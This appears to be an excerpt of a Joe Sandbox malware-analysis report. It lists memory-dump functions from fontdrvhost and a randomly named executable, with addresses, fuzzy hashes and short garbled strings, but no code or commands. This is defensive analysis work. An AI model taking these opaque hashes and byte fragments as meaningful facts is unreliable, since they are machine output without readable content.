Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cf901c119bc2487b935ea9c71f8cdd9f9b5d0fad98be6a60b63cae66704fe85
Instruction ID: 4d9c953e63554d683341745107691afe8358f6a1ece5d8503285962dcbdebb19
Opcode Fuzzy Hash: 2cf901c119bc2487b935ea9c71f8cdd9f9b5d0fad98be6a60b63cae66704fe85
Instruction Fuzzy Hash: 4C11B710A1C46B46F628C72CC4F49B47395EFA6321B144A7DC64BCB78EC83CB885AF91

Function 00007FFD345508F8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4f3c26d9e1a3cdb7077d93d1b43c366cfb3a3d234172c17bd15baeda0a5078
Instruction ID: f65b7aa88ae6db2ed1b5371c02c660e694a7f2af208ac021fe7cfefee94f3186
Opcode Fuzzy Hash: cf4f3c26d9e1a3cdb7077d93d1b43c366cfb3a3d234172c17bd15baeda0a5078
Instruction Fuzzy Hash: 8C014732F0D92C0B9629E11D989A936B3C2DBCBB3031512B9E98FC3245DC04FC1342C4

Function 00007FFD3494188E Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 918b64d0d6985c0bb0bbb4becc99a321822325785c5eb9818c0a4d1283a15c6a
Instruction ID: c40872c36d615d6e681247596e82f3c510c828f727e8828bcff10d447a9f913f
Opcode Fuzzy Hash: 918b64d0d6985c0bb0bbb4becc99a321822325785c5eb9818c0a4d1283a15c6a
Instruction Fuzzy Hash: D4111930A185199FDF9CDB58C4A6ABDB7B1EF59310F4001BED20EE7295CE39A9408B50

Function 00007FFD34550C38 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd815eb342c61a54f8b1e067d986ca41bd09dc078b3195529399068b15cb370e
Instruction ID: 68a2cf3d7062e43afe9f168fa23a47f636286c4a3ad883b0dcd8a65085a23ca7
Opcode Fuzzy Hash: bd815eb342c61a54f8b1e067d986ca41bd09dc078b3195529399068b15cb370e
Instruction Fuzzy Hash: 2C11E036F0D3898FE7139B6888A11ECBBB0EF43320F0444F6C246DB192D93C95069781

Function 00007FFD349429B5 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a43edc641d2d6bf559a3553a556e701c521f6a741ad874393024939abc73c18
Instruction ID: 51879daeabc11ced7e70138cae76b09d40d2d396342340613e024b7393189778
Opcode Fuzzy Hash: 3a43edc641d2d6bf559a3553a556e701c521f6a741ad874393024939abc73c18
Instruction Fuzzy Hash: 6111E172F1AA454FEB95FB6488A62AC77A0FF56300F18017DD04AC72D7DE6C6802C701

Function 00007FFD349460AD Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e522e2342d1faa5a59cf94f6797c70c5e478346deceaa57dc7e7e1bee045801c
Instruction ID: afe3301284727d43ec427863166a8a898c910652973e91d1786eec3bd8b20e88
Opcode Fuzzy Hash: e522e2342d1faa5a59cf94f6797c70c5e478346deceaa57dc7e7e1bee045801c
Instruction Fuzzy Hash: 30F0492544E2C44FC3029B74CC599A57FE0EF5721570A86EED089CB463C65D858B8711

Function 00007FFD34550C48 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abce04f6ec817ef20ba15405221d8c0a04eb65a876f4afe015acf00f73c68742
Instruction ID: c8ca762baac0f6633f509a5d35cb75a2d2d6a61e0e61dd9497dcc2788960ecc1
Opcode Fuzzy Hash: abce04f6ec817ef20ba15405221d8c0a04eb65a876f4afe015acf00f73c68742
Instruction Fuzzy Hash: 0F018C36E0D3899FEB12DB6888A11ADBFB0EF43310F1541F6C546DB192DA38AA459781

Function 00007FFD3455480A Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b3bd16130e768ba094cc12b44608e4aeea13a0b9ef24a1628eacb523b298b7
Instruction ID: 0fc1c6987d98866f6f5272180aaa86721700fd3067b0714d1ad267900c303c21
Opcode Fuzzy Hash: 16b3bd16130e768ba094cc12b44608e4aeea13a0b9ef24a1628eacb523b298b7
Instruction Fuzzy Hash: 53014632F1841A4EEA99FA2894A4AB862D1EF57312F0540F9D54FD3292DE2CEC429640

Function 00007FFD3494C0B2 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7bae2e99ca6148a194da12b530755ed03a240f0eb8a633b3f082722fb147e5d
Instruction ID: fc7e00232586448f8f9878501288de75a4e989b0571d569e4409158e3138cb44
Opcode Fuzzy Hash: a7bae2e99ca6148a194da12b530755ed03a240f0eb8a633b3f082722fb147e5d
Instruction Fuzzy Hash: 8FF0963184D3C59FEB16CB70C8A19E97FB4EF43214B1500FAD546C7192CA6C5546D771

Function 00007FFD34550C50 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892e5a144909bd9726e107d0dbe8af3b2cf56560892a01709b867eacce0a53eb
Instruction ID: 196fe939c5c074fb25afed9c0cc243a58f5dd6297d1f9dd2bf91e5a91f9f2dce
Opcode Fuzzy Hash: 892e5a144909bd9726e107d0dbe8af3b2cf56560892a01709b867eacce0a53eb
Instruction Fuzzy Hash: D7017C36E0D3899FEB12DB6888A11ADBFF0EF03310F1441F6C546DB192DA3C9A459742

Function 00007FFD34946F92 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e92198c2322d3103952c15a5441e8799f305ed6b4070eaa7c5e0506e82ab548d
Instruction ID: 028b7c0d94231948e2616381a195e986c787a871b7d3b75f01d275ef130ad7e6
Opcode Fuzzy Hash: e92198c2322d3103952c15a5441e8799f305ed6b4070eaa7c5e0506e82ab548d
Instruction Fuzzy Hash: 6BF0C27188E3C59FD712CB70C8614D57FA4AF43214F1801FAD58AC71A2C92C695AD371

Function 00007FFD34941B62 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6014d1dcff2955cadd33d5a8e447e2b19b4800dcb4eddb8ced945f6bed61d36
Instruction ID: 981c9c3b4f930bd4f7c7ff6511fbf3557c05d4da4a1f7c30f1ec4d5cd607afa2
Opcode Fuzzy Hash: e6014d1dcff2955cadd33d5a8e447e2b19b4800dcb4eddb8ced945f6bed61d36
Instruction Fuzzy Hash: A6F0C23184E3C5AFD712CB70CCA65E97FA4AF43210B1801FAD145CB1A6DA6C560AD361

Function 00007FFD349434E0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92bff6e6362093158100d36ec61c1bb0b736c5296c4140db16f56c429c9017cc
Instruction ID: 59e9df3d90a7c822b8b64d4041d078c989dce35084066cd3c740594edf9d5160
Opcode Fuzzy Hash: 92bff6e6362093158100d36ec61c1bb0b736c5296c4140db16f56c429c9017cc
Instruction Fuzzy Hash: F4F0F421F2CA064BE6B9EB65C0B197B72E1BF59384B900939D08FC76D6DE2CF4059750

Function 00007FFD34948890 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9df2433c8f9147a6fe818f7e63bb87e90b1a349cdfff00f3c81407fd52f3c4f4
Instruction ID: 9332affc85f708a05a83055b73bc5b462bcb42e99e9cc77009a807cff9cf0773
Opcode Fuzzy Hash: 9df2433c8f9147a6fe818f7e63bb87e90b1a349cdfff00f3c81407fd52f3c4f4
Instruction Fuzzy Hash: 46F03120F28E0A4BE6EDEF65C0A197662E2BF54345B800539D08FD76D6DE2CB8059780

Function 00007FFD345547D6 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a3e1c098371154e84161bfe5def8e367da0d0abf3e15046623435b37b434a1b
Instruction ID: 725e1c6dd6cc0aac1253bbf2a3a863c7ed6ab184b6bc7d63c604cd3843254d03
Opcode Fuzzy Hash: 1a3e1c098371154e84161bfe5def8e367da0d0abf3e15046623435b37b434a1b
Instruction Fuzzy Hash: 59F05431F1C4294AEB95EA14D8A47B86391EF57312F1411F9D94FD31D2CE2CED835644

Function 00007FFD3494870E Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff44a740c3b94de874b7ecbc22b094e53ee23a1bcba428e9057c4502ad5a9e5
Instruction ID: 4dd3355ee136088e54f292a9b91438ab30b9d330ed5ad5284969618513905475
Opcode Fuzzy Hash: aff44a740c3b94de874b7ecbc22b094e53ee23a1bcba428e9057c4502ad5a9e5
Instruction Fuzzy Hash: 9EF09A31718A068BE398DA08C0B57B673E2EB55340F20417DD92AC73D5DE6CA9418744

Function 00007FFD3494335E Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 803077e087645d4ab3794400b0261ceecf57b4ab667e177cdd41dd8cde191080
Instruction ID: 479bb84629126e921bfb9289a41a382dd3722db1a891a4919745447ce8a9dacd
Opcode Fuzzy Hash: 803077e087645d4ab3794400b0261ceecf57b4ab667e177cdd41dd8cde191080
Instruction Fuzzy Hash: A8F09A317186028BF3A8DA68C0B57BA33D1FB59340F60023DD51AC77D4DE6CA8408780

Function 00007FFD349417A7 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3992c8b04ccb2ad6b90a309688c48241b9f1944451c79240efad19fb1cab15b
Instruction ID: a8a6733efa3891daa098fee2529c67f7ec90a8f56f2aa227c70ed914f7d6b449
Opcode Fuzzy Hash: b3992c8b04ccb2ad6b90a309688c48241b9f1944451c79240efad19fb1cab15b
Instruction Fuzzy Hash: D5F01F7090891D8FDF98DB98C895AACBBB1FB69301F10016D800AE7355CA35A841DF00

Function 00007FFD3455393E Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fa61e1bc2d34c25b291fb6c8e3c7e53dd1c83a71e6d7df43dcb9f134149b047
Instruction ID: 123808009c11d5a557de085a199ed20d2ce5a102e11fb63332ce15932f947fcf
Opcode Fuzzy Hash: 0fa61e1bc2d34c25b291fb6c8e3c7e53dd1c83a71e6d7df43dcb9f134149b047
Instruction Fuzzy Hash: 70F01531E080064BFB859684C8A0BFA37A4EF56300F1405B9DA4FE32C5DD2CE942AB09

Function 00007FFD349486E8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c745e19293ce86e46fd315573533008325cbc6f2e372a6baf71e879248ff9dd6
Instruction ID: b12787501b74b03b3a058a8cd2a39bc376e670c773682589b5afae56a6dfca95
Opcode Fuzzy Hash: c745e19293ce86e46fd315573533008325cbc6f2e372a6baf71e879248ff9dd6
Instruction Fuzzy Hash: 38E01218B2D9078AF6A9C554C0B227A05956F53348F6005BECA4EC23CACE1CA90272A6

Function 00007FFD34550CBF Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 623355c4c761995da0b65237a2ec80d23bbe5063140a0c10700039931d7a4e64
Instruction ID: bd072c1f3563f60fc0948a9685f9e56e45077c5896cc90f2d30f2cd135a1f2bb
Opcode Fuzzy Hash: 623355c4c761995da0b65237a2ec80d23bbe5063140a0c10700039931d7a4e64
Instruction Fuzzy Hash: EDE01735F0920ACBEB01EB54C4D46BEB7B1EB52721F1086B5C502C7289DA7CA684DA80

Function 00007FFD345506A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
Instruction ID: 61e309f1262cc28114f4197f4fa8267df00c54bf876b12e65d6d38bcddf4ae3b
Opcode Fuzzy Hash: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
Instruction Fuzzy Hash: A1C04C06F5A51F01F417716E54E60FDB1506FD7A60FD511F2D70ED00C5AC4DA0D5A156

Function 00007FFD345512E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad9b737f9d3a71b5a47652e042b9bbfd47591b0a6598e927983330d6249448c
Instruction ID: ef45327f7432be439e3c65b335c1542391b5c677049bb7c0f908d8ed1333161a
Opcode Fuzzy Hash: 3ad9b737f9d3a71b5a47652e042b9bbfd47591b0a6598e927983330d6249448c
Instruction Fuzzy Hash: 1EC08C309108088FC908EB28C88481433A0FB0A200BC600D0E00AC7170E219DCC1C740

Function 00007FFD3494333B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 806bd5350af2c5d9d8229089b3c936f36bad06961f7b08ab37019a01ed309f53
Instruction ID: 584f2bd43c10ac0fb37a9bb6d52206684d4944329ab22a1311d06cc798a2f043
Opcode Fuzzy Hash: 806bd5350af2c5d9d8229089b3c936f36bad06961f7b08ab37019a01ed309f53
Instruction Fuzzy Hash: B5D0C914B0C61785F57DC626C0F023E61905F0B740EE4403DC29FC1ED9CD1D78017222

Function 00007FFD3494AFC0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7164194e321ff11a9c5b58660fdeb581821e2c8107603c55c42c51c06a3cb97c
Instruction ID: 00c1428d9911ced668c157a276569234a56116e865c8be919f70a6388dcd9ad3
Opcode Fuzzy Hash: 7164194e321ff11a9c5b58660fdeb581821e2c8107603c55c42c51c06a3cb97c
Instruction Fuzzy Hash: FEC002207548559FD798DB09C0E5A3872D1FF4E301B9040B8E14BCB3A9C92CA845A620

Function 00007FFD345559C7 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e07570c139ba903f60faee86b7996e5019c602f103a0698bd4de0597cf1848a
Instruction ID: 740b03e8763ee2466f223ec84abcaba5dd3ef7a778192593ad50fd0cb5716c04
Opcode Fuzzy Hash: 5e07570c139ba903f60faee86b7996e5019c602f103a0698bd4de0597cf1848a
Instruction Fuzzy Hash: D4C04C02F1985706F16A6398543167E88466B44745F9501B5E50EDA6C6CD5C9F0253C6

Function 00007FFD345506C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
Instruction ID: 21ce8d407170d803c709e54e9fc41d3268e142c31d74f4a46492cf06ae1a56fe
Opcode Fuzzy Hash: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
Instruction Fuzzy Hash: 90B01200D5640F00A405317A08D60F470505F46100FC010F0D60EC0085A84D60942242

Function 00007FFD34942871 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed35ec1346cc584f31cde17d657c54f0f2fe37f7d96f944b514d113f83dc0509
Instruction ID: 4cf0d399e401924262fb2d8fa052a0b6a5f42f20e9db54247cae85d1d11343f9
Opcode Fuzzy Hash: ed35ec1346cc584f31cde17d657c54f0f2fe37f7d96f944b514d113f83dc0509
Instruction Fuzzy Hash: A0B00200F0C60357F57554B444F507D00411B473D5A540539D71BCE3DBED9C78503175

Function 00007FFD34947C31 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aebecdd2e36bf1967354eff32048307838e4e4d2e178bc7a3520eb964c32095
Instruction ID: 569767a039c15f73955f1914414e2f8a7094f4e86909590b90dd0e143cfd3c60
Opcode Fuzzy Hash: 2aebecdd2e36bf1967354eff32048307838e4e4d2e178bc7a3520eb964c32095
Instruction Fuzzy Hash: 5BB00240F4C20B56E56998B448E507D50410B46295A941AB9971AC53D7DC9C6D4176B1

Non-executed Functions

Function 00007FFD345509B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD34550B3E
c9, xrefs: 00007FFD34550B56
"s9, xrefs: 00007FFD34550B46
!k9, xrefs: 00007FFD34550B4E

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 5913151bfae104ee612e75a017b0734f6d07f181f3420128bf611805d2343c36
Instruction ID: 524e2476f3e403db459d92ce047f28cc99e69ffd89796f0eb748b69dcd34a6d6
Opcode Fuzzy Hash: 5913151bfae104ee612e75a017b0734f6d07f181f3420128bf611805d2343c36
Instruction Fuzzy Hash: C1417107F0C56267E92A33FD74611FE9B889FA1379B484677E14DD90E38D0CE88582E5

Analysis Process: AdbXCBUViTnoVBSsOq.exePID: 7048, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	27.8%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	3

Executed Functions

Function 00007FFD34560D48 Relevance: 1.5, Strings: 1, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5Y_H, xrefs: 00007FFD34560DF3

Memory Dump Source

Source File: 00000018.00000002.4614685322.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID: 5Y_H
API String ID: 0-3237497481
Opcode ID: 19c197f870f26808b5306a833dbec9c0f0cde280cccdfe8f010668778577d822
Instruction ID: db180e427b3e77f73547de47566d1eadf90679b7e652f49af5defd9a8f379558
Opcode Fuzzy Hash: 19c197f870f26808b5306a833dbec9c0f0cde280cccdfe8f010668778577d822
Instruction Fuzzy Hash: DD91C476A0CA9D8FE799EB68C8657A97FE1FB56310F4001BAD049D72E2DB7D5804C700

Function 00007FFD34951E10 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4621070301.00007FFD34950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34950000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83f4d6a9548f4d22d653c18239d9bb8b54da1cd4bdcb81a0b53bd08e30157610
Instruction ID: dbfd5eb13a0505e8b5ab69fec5e67ecd2652ce79468650fd7ea125a08cf115aa
Opcode Fuzzy Hash: 83f4d6a9548f4d22d653c18239d9bb8b54da1cd4bdcb81a0b53bd08e30157610
Instruction Fuzzy Hash: E5F1F730B0C64D8FD749DB18D899AB977E1FF86314B2441AED04ECB296DA35EC42CB51

Function 00007FFD34560E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.4614685322.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e197684f1b8f14084f0c1ba1bf352555155033e7e913d463d227c89c5575e086
Instruction ID: 89528f41167956b7cb4f11db3bd9bbc43cf3d37a387c0637496c389323e8d054
Opcode Fuzzy Hash: e197684f1b8f14084f0c1ba1bf352555155033e7e913d463d227c89c5575e086
Instruction Fuzzy Hash: 8351B376A18A9E8BE798DB5C84657A9BFE1FB56320F8002BAD049D76D1CBB91414C700

Function 00007FFD34570CFC Relevance: 8.4, Strings: 6, Instructions: 942
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P\a4, xrefs: 00007FFD34571398
pqa4, xrefs: 00007FFD3457125A
wa4, xrefs: 00007FFD34571309
PXa4, xrefs: 00007FFD34570D6F
HIa4, xrefs: 00007FFD34570BF1
*`4, xrefs: 00007FFD34570CF3

Memory Dump Source

Source File: 00000018.00000002.4614685322.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34570000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID: *`4$HIa4$PXa4$P\a4$pqa4$wa4
API String ID: 0-3421069954
Opcode ID: e2ad78438dc4121f80adc214cbf1f205ae5323ca5b53e7aca458420e39652009
Instruction ID: 6d9b84281cd8dfd73b30dea4efa74d4d6f2f637e7a6b21f31b9634d255965605
Opcode Fuzzy Hash: e2ad78438dc4121f80adc214cbf1f205ae5323ca5b53e7aca458420e39652009
Instruction Fuzzy Hash: 4462DF21F1C95A4FEB99EB2888E66B877D2FB96710F4045B9D50DC32D2DD2CBC829740

Function 00007FFD34571305 Relevance: 2.8, Strings: 2, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P\a4, xrefs: 00007FFD34571398
wa4, xrefs: 00007FFD34571309

Memory Dump Source

Source File: 00000018.00000002.4614685322.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd34570000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID: P\a4$wa4
API String ID: 0-1460514738
Opcode ID: 384e9b3a12bf3263be01514c2077b26470f74b7a77a5e6d9e14b877e430a9629
Instruction ID: 6c4d0921093eb537ccd41be173dece6e49b17f24ad1e1c11d5cd7ce8fa63be1c
Opcode Fuzzy Hash: 384e9b3a12bf3263be01514c2077b26470f74b7a77a5e6d9e14b877e430a9629
